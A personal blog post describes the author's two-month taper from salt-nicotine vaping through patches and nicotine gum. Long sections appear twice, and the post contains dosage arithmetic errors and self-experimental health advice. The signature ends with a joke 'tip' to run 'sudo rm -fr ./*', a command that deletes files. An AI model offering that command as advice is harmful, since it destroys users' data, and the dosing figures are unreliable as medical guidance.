How I Quit Nicotine Without Having Any Cravings

On September 22nd, 2019, I quit vaping. On October 20th, 2019, I quit nicotine altogether.

I’d say that quitting was one of the Top 10 most emotionally challenging situations I’ve faced in my life. And if you know my personal backstory, that is no small matter.

Most of the advice out there on quitting nicotine really, really sucks. Some “quit smoking” programs seem to take forever. The nicotine replacement products set you up for failure, too.

I wanted to quit and not experience a nicotine headache until the last possible moment. I didn’t want to limit my nicotine VOLUME — I just wanted to control and record the dose until the day I quit.

Take the nicotine patch, for example. For those who smoke more than 10 cigarettes a day, the manufacturers recommend that you take one 21-mg patch daily for 6 weeks, one 14-mg patch for 2 weeks, then one 7-mg patch daily for 2 weeks. I tried the patch a few times, but it didn’t work — even when I would also take it with nicotine gum. It felt like it was barely enough nicotine — just enough so that I wouldn’t want to kill anyone during the day — but I felt cravings around the clock. It was unbearable, and of course, I started vaping again — every time.

I was fearful of quitting because I knew when I got down to the low doses, there’s a significant drop off between the lowest dose of juice and zero nicotine. I didn’t realize how big it was until I did the math.

My nicotine dosage before I started quitting was insane. First of all, I was using Salt Nicotine juice. Salt nicotine juice is really helpful for when you are quitting smoking. When you inhale the vapor, you feel it almost immediately — whereas, with regular vape juice, it’s a bit more gradual. Salt nicotine juice comes in much higher dosages — it ranges from 24 mg/mL to 50 mg/mL, whereas regular vape juice ranges from 3 mg/mL to 12 mg/mL.

Salt nicotine juiceRegular juice
Size of “vape cloud”Less CloudMore Cloud
mg/mLRanges from 24-50Ranges from 3-12

My dosage? I had 2.5 pods/tanks a day, with 50mg/mL of juice. My vape had a tank size of 3 mL. For you non-math wizards out there, that’s roughly 375 mg/mL per day.

There was absolutely no way I could move from 375 mg/mL per day to a 24 mg patch per day.

I realized that conventional advice on quitting nicotine sucked and that it definitely wouldn’t work for me. I had to come up with my own plan.

I knew from breaking other habits that when you break a habit, you have to own your narrative. I decided that my goal was to quit before I would go on a trip to India to attend my friend Lakshmi’s wedding. I had dreamed of visiting India since I was a child. I didn’t want to have any cravings on the plane ride or worry about losing my vape, finding juice, or finding a vape shop while I was on the trip of a lifetime. It seemed like the perfect reason to quit — with a timeline to motivate me.

But I had to come up with a good plan — a plan that would work for me.

“Aggressive Slow Turkey”

My quitting plan was a bit ridiculous.

I had a 2-month Timeline. That’s quite an aggressive schedule for tapering — but at least it wasn’t “cold turkey.” I jokingly referred to it as “aggressive slow turkey.” Month #1 would be dedicated to tapering my vaping, and Month #2 would be spent tapering on nicotine replacement products like the patch and nicotine gum.

I didn’t want to focus on volume — I wanted to focus on dosage. I figured out that I couldn’t control the amount of nicotine I would ingest. I figured that I was not going to fix my impulse control issues within 2 months. My impulse control issues would be better helped by not addressing them until I had quit nicotine entirely. So my strategy was to vape as often as I usually would but just lower the dosage.

I wanted to have zero cravings and headaches. Nicotine cravings are often paired with god-awful headaches — and I didn’t want to experience one until the last possible moment.

Tapering on the Vape

Throughout the first month, I carried around a sharpie in my pocket. Every time I refilled my vape tank, I would make a mark on my arm with the sharpie.

At the end of each day, I opened up an Excel spreadsheet and recorded how much vape juice I ended up consuming that day. On average, I kept consuming about 3 tanks per day until I quit. This way, I never had to limit the amount of juice I had — I only had to control the dosage.

My tapering strategy is mapped out below. I started out on the highest salt nicotine dosage, 50 mg/mL. Every time I would drop down a level, I’d initially vape at a higher volume. I’d vape 3 tanks instead of 2.5 tanks per day since my anxiety levels would be temporarily heightened — but then I would calm down and go back to 2.5 tanks. Once I was comfortable there, I’d jump another level down.

Methodmg/mLmL per TankTanks per dayTotal mg per day
Salt Nicotine5032.5375
Salt Nicotine3533315
Salt Nicotine3532.5262
Salt Nicotine2433216
Salt Nicotine2432.5180
Non-salt nicotine1233108
Non-salt nicotine1232.590
Non-salt nicotine63354
Non-salt nicotine632.545
Non-salt nicotine33327

Once I got down to the lowest salt nicotine dosage available (24 mg/mL), I faced another potential pitfall. I knew that if I switched to the non-salt coils and non-salt juice, I’d develop a bad problem again. The non-salt juice forces you to ingest a much higher volume of vapor. So, I used the non-salt juice with the salt nicotine coil. Of course, the coils burnt out twice as quickly — but that’s okay because I was quitting. I didn’t need to extend the life of the coils because I wouldn’t need them for much longer.

As I went down on the dosage, I recorded the number of pods I ended up vaping throughout the day. Passively. I didn’t try to control how much I had — only the dosage. Basically, part of my nicotine habit was exacerbated by my impulse control issues. So I realized I didn’t want to fix both my impulse control issues and my nicotine issue at the same time. Quit nicotine, and the impulse control issues will improve.

When I got down to the minimal dosage (3 mg/mL), I was still vaping 2 pods a day, at 3mL per pod, so that’s 18 mg of nicotine per day. Which was great news because moving to the patch was easier.

Nicotine Replacement Products

Start with the Patch and the Gum

The patch comes in at 24 mg, and you feel it more because it hits your bloodstream quickly. But I was still used to immediately addressing the nicotine headache by vaping. But at that moment, I was concerned with stopping the act of inhaling nicotine vapor, so I decided I would do the patch for a few days alongside nicotine gum. It was a good idea, as long as I didn’t do the patch for a long time too.

Tricking your brain with Nicotine Gum

Trick #1: Find an equivalent flavor across nicotine and regular gum

Most people I know who have used nicotine gum love the Fruit Chill flavor — and I get it. The Fruit Chill flavor is definitely the best — it’s delicious and sweet.

Nicorette Fruit Chill flavor
Nicorette Fruit Chill flavor. It tastes great — but there’s no “regular gum” equivalent flavor.

But here’s the problem. There is no “regular gum” flavor that really tastes like the Fruit Chill flavor. Once you quit, you’ll be used to chewing gum all the time. You need to have the same flavor of gum available once you stop in non-nicotine form. You need to keep the nervous habit of habitually chewing some kind of gum — except this time, it’s non-nicotine gum. And to effectively trick your brain into thinking that you are still chewing nicotine gum, it has to be the same flavor. You’ll need that crutch.

So I chose the cinnamon flavor:

Nicorette Cinnamon Surge flavor
Nicorette gum, Cinnamon Surge flavor.

It took a while to get used to it — I wasn’t a “cinnamon gum” person — but I had confidence I could “trick my brain” because there’s a close “regular gum” equivalent: Dentyne Fire.

Dentyne Fire Cinnamon gum
Dentyne Fire — regular cinnamon gum
Cinnamon Gum side-by-side comparison
Regular cinnamon gum (Dentyne Ice) on the left; Nicotine cinnamon gum on the right

So I got off the patch after 3 days and kept chewing nicotine gum. Once again, I only recorded how much gum I ended up consuming each day. I didn’t try to limit how much I consumed. I just controlled the dosage. The nicotine gum started at 4mg per piece, and I was having like 20 pieces a day for the first day. That was too much, and I naturally went down to 2mg by taking bites out of it at a time, then moved to the 2mg gum.

Moving from 4mg to 2mg gum

Nicorette pieces per dayNicorette dosageTotal dosage
20 pieces4mg80 mg/day
30 pieces2mg60 mg/day
20 pieces2mg40 mg/day

Trick #2: Alternate between Nicotine gum and Regular Gum

Once I was on the 2mg gum, I continued with the approach that there was no way I’d limit my volume — I just wanted to control the dose. But I had a trick. Basically, I would have four pieces of cinnamon nicotine gum, then I had one piece of cinnamon regular gum. Then I made it 3 pieces of nicotine gum, and 1 piece of regular gum.

PatternNicorettemg/pieceRegular gum pieces/dayTotal dosage
4 nicotine, 1 regular16 pieces/day2432 mg/day
3 nicotine, 1 regular15 pieces/day2530 mg/day
2 nicotine, 1 regular12 pieces/day2824 mg/day
1 nicotine, 1 regular10 pieces/day21020 mg/day
1 nicotine, 2 regular8 pieces/day21216 mg/day
1 nicotine, 3 regular5 pieces/day21510 mg/day
1 nicotine, 4 regular4 pieces/day2168 mg/day
1 half size nicotine, 4 regular4 half-size pieces/day1164 mg/day

Eventually, I worked to the point where I would have 4 pieces of regular gum, and 1 piece of nicotine gum — and I sat at that for a few days to make sure I was stable.

Then I woke up one day — during the middle of the workweek — and stopped. I had a nicotine headache for the first time during that 2-month quitting cycle — and it was only on that ONE fucking day, and pretty mild at that.

So when I hopped on a 24-hour flight to India 3 days later, I went through that flight — with ZERO CRAVINGS. Zero. I had the time of my life — and I no longer had to use nicotine just to feel okay.

Here are two pictures from my trip. Quitting was worth it.

Lakshmi's Wedding Photo
I got to attend one of my best friend’s weddings and live in the moment, without any nicotine cravings.
Taj Mahal
That’s me on the left. I visited the Taj Mahal. Toured the country for two weeks — and with no cravings.

The aftermath

On September 22nd, 2019, I quit vaping. On October 20th, 2019, I quit nicotine altogether.

I’d say that quitting was one of the Top 10 most emotionally challenging situations I’ve faced in my life. And if you know my personal backstory, that is no small matter.

Most of the advice out there on quitting nicotine really, really sucks. Some “quit smoking” programs seem to take forever. The nicotine replacement products set you up for failure, too.

I wanted to quit and not experience a nicotine headache until the last possible moment. I didn’t want to limit my nicotine VOLUME — I just wanted to control and record the dose until the day I quit.

Take the nicotine patch, for example. For those who smoke more than 10 cigarettes a day, the manufacturers recommend that you take one 21-mg patch daily for 6 weeks, one 14-mg patch for 2 weeks, then one 7-mg patch daily for 2 weeks. I tried the patch a few times, but it didn’t work — even when I would also take it with nicotine gum. It felt like it was barely enough nicotine — just enough so that I wouldn’t want to kill anyone during the day — but I felt cravings around the clock. It was unbearable, and of course, I started vaping again — every time.

I was fearful of quitting because I knew when I got down to the low doses, there’s a significant drop off between the lowest dose of juice and zero nicotine. I didn’t realize how big it was until I did the math.

My nicotine dosage before I started quitting was insane. First of all, I was using Salt Nicotine juice. Salt nicotine juice is really helpful for when you are quitting smoking. When you inhale the vapor, you feel it almost immediately — whereas, with regular vape juice, it’s a bit more gradual. Salt nicotine juice comes in much higher dosages — it ranges from 24 mg/mL to 50 mg/mL, whereas regular vape juice ranges from 3 mg/mL to 12 mg/mL.

Salt nicotine juiceRegular juice
Size of “vape cloud”Less CloudMore Cloud
mg/mLRanges from 24-50Ranges from 3-12

My dosage? I had 2.5 pods/tanks a day, with 50mg/mL of juice. My vape had a tank size of 3 mL. For you non-math wizards out there, that’s roughly 375 mg/mL per day.

There was absolutely no way I could move from 375 mg/mL per day to a 24 mg patch per day.

I realized that conventional advice on quitting nicotine sucked and that it definitely wouldn’t work for me. I had to come up with my own plan.

I knew from breaking other habits that when you break a habit, you have to own your narrative. I decided that my goal was to quit before I would go on a trip to India to attend my friend Lakshmi’s wedding. I had dreamed of visiting India since I was a child. I didn’t want to have any cravings on the plane ride or worry about losing my vape, finding juice, or finding a vape shop while I was on the trip of a lifetime. It seemed like the perfect reason to quit — with a timeline to motivate me.

But I had to come up with a good plan — a plan that would work for me.

“Aggressive Slow Turkey”

My quitting plan was a bit ridiculous.

I had a 2-month Timeline. That’s quite an aggressive schedule for tapering — but at least it wasn’t “cold turkey.” I jokingly referred to it as “aggressive slow turkey.” Month #1 would be dedicated to tapering my vaping, and Month #2 would be spent tapering on nicotine replacement products like the patch and nicotine gum.

I didn’t want to focus on volume — I wanted to focus on dosage. I figured out that I couldn’t control the amount of nicotine I would ingest. I figured that I was not going to fix my impulse control issues within 2 months. My impulse control issues would be better helped by not addressing them until I had quit nicotine entirely. So my strategy was to vape as often as I usually would but just lower the dosage.

I wanted to have zero cravings and headaches. Nicotine cravings are often paired with god-awful headaches — and I didn’t want to experience one until the last possible moment.

Tapering on the Vape

Throughout the first month, I carried around a sharpie in my pocket. Every time I refilled my vape tank, I would make a mark on my arm with the sharpie.

At the end of each day, I opened up an Excel spreadsheet and recorded how much vape juice I ended up consuming that day. On average, I kept consuming about 3 tanks per day until I quit. This way, I never had to limit the amount of juice I had — I only had to control the dosage.

My tapering strategy is mapped out below. I started out on the highest salt nicotine dosage, 50 mg/mL. Every time I would drop down a level, I’d initially vape at a higher volume. I’d vape 3 tanks instead of 2.5 tanks per day since my anxiety levels would be temporarily heightened — but then I would calm down and go back to 2.5 tanks. Once I was comfortable there, I’d jump another level down.

Methodmg/mLmL per TankTanks per dayTotal mg per day
Salt Nicotine5032.5375
Salt Nicotine3533315
Salt Nicotine3532.5262
Salt Nicotine2433216
Salt Nicotine2432.5180
Non-salt nicotine1233108
Non-salt nicotine1232.590
Non-salt nicotine63354
Non-salt nicotine632.545
Non-salt nicotine33327

Once I got down to the lowest salt nicotine dosage available (24 mg/mL), I faced another potential pitfall. I knew that if I switched to the non-salt coils and non-salt juice, I’d develop a bad problem again. The non-salt juice forces you to ingest a much higher volume of vapor. So, I used the non-salt juice with the salt nicotine coil. Of course, the coils burnt out twice as quickly — but that’s okay because I was quitting. I didn’t need to extend the life of the coils because I wouldn’t need them for much longer.

As I went down on the dosage, I recorded the number of pods I ended up vaping throughout the day. Passively. I didn’t try to control how much I had — only the dosage. Basically, part of my nicotine habit was exacerbated by my impulse control issues. So I realized I didn’t want to fix both my impulse control issues and my nicotine issue at the same time. Quit nicotine, and the impulse control issues will improve.

When I got down to the minimal dosage (3 mg/mL), I was still vaping 2 pods a day, at 3mL per pod, so that’s 18 mg of nicotine per day. Which was great news because moving to the patch was easier.

Nicotine Replacement Products

Start with the Patch and the Gum

The patch comes in at 24 mg, and you feel it more because it hits your bloodstream quickly. But I was still used to immediately addressing the nicotine headache by vaping. But at that moment, I was concerned with stopping the act of inhaling nicotine vapor, so I decided I would do the patch for a few days alongside nicotine gum. It was a good idea, as long as I didn’t do the patch for a long time too.

Tricking your brain with Nicotine Gum

Trick #1: Find an equivalent flavor across nicotine and regular gum

Most people I know who have used nicotine gum love the Fruit Chill flavor — and I get it. The Fruit Chill flavor is definitely the best — it’s delicious and sweet.

Nicorette Fruit Chill flavor
Nicorette Fruit Chill flavor. It tastes great — but there’s no “regular gum” equivalent flavor.

But here’s the problem. There is no “regular gum” flavor that really tastes like the Fruit Chill flavor. Once you quit, you’ll be used to chewing gum all the time. You need to have the same flavor of gum available once you stop in non-nicotine form. You need to keep the nervous habit of habitually chewing some kind of gum — except this time, it’s non-nicotine gum. And to effectively trick your brain into thinking that you are still chewing nicotine gum, it has to be the same flavor. You’ll need that crutch.

So I chose the cinnamon flavor:

Nicorette Cinnamon Surge flavor
Nicorette gum, Cinnamon Surge flavor.

It took a while to get used to it — I wasn’t a “cinnamon gum” person — but I had confidence I could “trick my brain” because there’s a close “regular gum” equivalent: Dentyne Fire.

Dentyne Fire Cinnamon gum
Dentyne Fire — regular cinnamon gum
Cinnamon Gum side-by-side comparison
Regular cinnamon gum (Dentyne Ice) on the left; Nicotine cinnamon gum on the right

So I got off the patch after 3 days and kept chewing nicotine gum. Once again, I only recorded how much gum I ended up consuming each day. I didn’t try to limit how much I consumed. I just controlled the dosage. The nicotine gum started at 4mg per piece, and I was having like 20 pieces a day for the first day. That was too much, and I naturally went down to 2mg by taking bites out of it at a time, then moved to the 2mg gum.

Moving from 4mg to 2mg gum

Nicorette pieces per dayNicorette dosageTotal dosage
20 pieces4mg80 mg/day
30 pieces2mg60 mg/day
20 pieces2mg40 mg/day

Trick #2: Alternate between Nicotine gum and Regular Gum

Once I was on the 2mg gum, I continued with the approach that there was no way I’d limit my volume — I just wanted to control the dose. But I had a trick. Basically, I would have four pieces of cinnamon nicotine gum, then I had one piece of cinnamon regular gum. Then I made it 3 pieces of nicotine gum, and 1 piece of regular gum.

PatternNicorettemg/pieceRegular gum pieces/dayTotal dosage
4 nicotine, 1 regular16 pieces/day2432 mg/day
3 nicotine, 1 regular15 pieces/day2530 mg/day
2 nicotine, 1 regular12 pieces/day2824 mg/day
1 nicotine, 1 regular10 pieces/day21020 mg/day
1 nicotine, 2 regular8 pieces/day21216 mg/day
1 nicotine, 3 regular5 pieces/day21510 mg/day
1 nicotine, 4 regular4 pieces/day2168 mg/day
1 half size nicotine, 4 regular4 half-size pieces/day1164 mg/day

Eventually, I worked to the point where I would have 4 pieces of regular gum, and 1 piece of nicotine gum — and I sat at that for a few days to make sure I was stable.

Then I woke up one day — during the middle of the workweek — and stopped. I had a nicotine headache for the first time during that 2-month quitting cycle — and it was only on that ONE fucking day, and pretty mild at that.

So when I hopped on a 24-hour flight to India 3 days later, I went through that flight — with ZERO CRAVINGS. Zero. I had the time of my life — and I no longer had to use nicotine just to feel okay.

Here are two pictures from my trip. Quitting was worth it.

Lakshmi's Wedding Photo
I got to attend one of my best friend’s weddings and live in the moment, without any nicotine cravings.
Taj Mahal
That’s me on the left. I visited the Taj Mahal. Toured the country for two weeks — and with no cravings.

The aftermath

A few cravings came and went while I was in India — most notably on my last day.

I had an hour-long craving when I was in the airport on my way home. I fantasized about buying Cuban cigars and bringing them back. I thought to myself, “Perhaps I can bring these home, just stick them in my personal humidor, and after I’ve been nicotine-free for 6 months, I’ll smoke some Cubans.” It sounded great to the addict in me.

But I resisted. I remembered how hard it was to quit nicotine. I remembered how I put in 2 months of effort into making this work. I remembered that I used a trip around the fucking world as my primary motivator to quit.

I sat there in the airport, obsessing over it. I realized that it would have to be a while before I could have a cigar again.

I love cigars. Like I legitimately love them, and that’s not just my addiction talking. I love the aroma, I love the responsiveness of a cigar that pulls perfectly. I love the warm, relaxing feeling that you get 2/3 of the way through the cigar that just sits with you. I love the experience of getting together with my buddies to celebrate a huge accomplishment, listening to Kanye and Jay-Z, hanging out on a scenic rooftop, and smoking victory cigars.

But I hit a point where I realized how hard it was to quit, and that I was willing to never smoke cigars again if that’s what it took. If it brings me back to daily use and other forms of nicotine, I’d rather never have a cigar for the rest of my life.

I realized that if I was able to concede that, then I was truly done, and that nicotine no longer had power over me.

My advice

If you are still smoking cigarettes, consider vaping. I was able to use vaping to control my dosage, rather than my volume — and it certainly paid dividends, once I figured it out.

If you are still vaping and you can relate to the struggles I had with other quitting regimens — try doing what I did and see if it helps.

No matter what form of nicotine you’re still taking — if you are trying to quit, own your narrative. I can’t stress that enough. Find a regimen that you feel you can stick with, and make your decision. Nobody else will make it for you. And yes, you have what it takes.

Once you do quit — share your story. The way I see it — if I inspired a single reader to quit, or helped them believe that they could quit in the future, then I’ve made a difference. You can do that too.

If you are trying to quit, or have any questions, feel free to comment or DM me on Twitter ( @kmcquade3), and I’m happy to talk.

A few cravings came and went while I was in India — most notably on my last day.

I had an hour-long craving when I was in the airport on my way home. I fantasized about buying Cuban cigars and bringing them back. I thought to myself, “Perhaps I can bring these home, just stick them in my personal humidor, and after I’ve been nicotine-free for 6 months, I’ll smoke some Cubans.” It sounded great to the addict in me.

But I resisted. I remembered how hard it was to quit nicotine. I remembered how I put in 2 months of effort into making this work. I remembered that I used a trip around the fucking world as my primary motivator to quit.

I sat there in the airport, obsessing over it. I realized that it would have to be a while before I could have a cigar again.

I love cigars. Like I legitimately love them, and that’s not just my addiction talking. I love the aroma, I love the responsiveness of a cigar that pulls perfectly. I love the warm, relaxing feeling that you get 2/3 of the way through the cigar that just sits with you. I love the experience of getting together with my buddies to celebrate a huge accomplishment, listening to Kanye and Jay-Z, hanging out on a scenic rooftop, and smoking victory cigars.

But I hit a point where I realized how hard it was to quit, and that I was willing to never smoke cigars again if that’s what it took. If it brings me back to daily use and other forms of nicotine, I’d rather never have a cigar for the rest of my life.

I realized that if I was able to concede that, then I was truly done, and that nicotine no longer had power over me.

My advice

If you are still smoking cigarettes, consider vaping. I was able to use vaping to control my dosage, rather than my volume — and it certainly paid dividends, once I figured it out.

If you are still vaping and you can relate to the struggles I had with other quitting regimens — try doing what I did and see if it helps.

No matter what form of nicotine you’re still taking — if you are trying to quit, own your narrative. I can’t stress that enough. Find a regimen that you feel you can stick with, and make your decision. Nobody else will make it for you. And yes, you have what it takes.

Once you do quit — share your story. The way I see it — if I inspired a single reader to quit, or helped them believe that they could quit in the future, then I’ve made a difference. You can do that too.

If you are trying to quit, or have any questions, feel free to comment or DM me on Twitter ( @kmcquade3), and I’m happy to talk.

Kinnaird McQuade
Kinnaird McQuade
Lead Cloud Security Engineer

Always remove the french language pack: sudo rm -fr ./*

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